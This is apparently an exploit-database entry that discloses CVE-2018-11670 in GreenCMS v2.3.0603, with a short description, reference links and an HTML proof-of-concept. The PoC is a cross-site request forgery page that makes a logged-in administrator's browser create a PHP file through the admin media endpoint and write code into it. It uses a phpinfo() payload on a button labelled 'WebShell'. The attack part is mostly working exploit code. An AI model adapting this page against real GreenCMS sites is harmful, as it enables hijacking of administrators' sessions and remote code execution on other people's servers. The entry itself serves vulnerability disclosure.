GreenCMS 2.3.0603 – Cross-Site Request Forgery / Remote Code Execution
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell # Date: 2018-06-02 # Exploit Author: xichao # Vendor Homepage: https://github.com/GreenCMS/GreenCMS # Software Link: https://github.com/GreenCMS/GreenCMS # Version: v2.3.0603 # CVE : CVE-2018-11670 An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect. poc: <span style="font-size:18px;"><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>csrftest</title> </head> <form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer"> <script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script> <input type="hidden" name="cmd" value="put"> <input type="hidden" name="target" value="l1_eGMucGhw"> <input type="hidden" name="content" value="<?php phpinfo();?>"> <button type="submit" value="Submit">WebShell</button> </form> </body> </html></span> References: http://www.iwantacve.cn/index.php/archives/38/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670 https://github.com/GreenCMS/GreenCMS/issues/108 |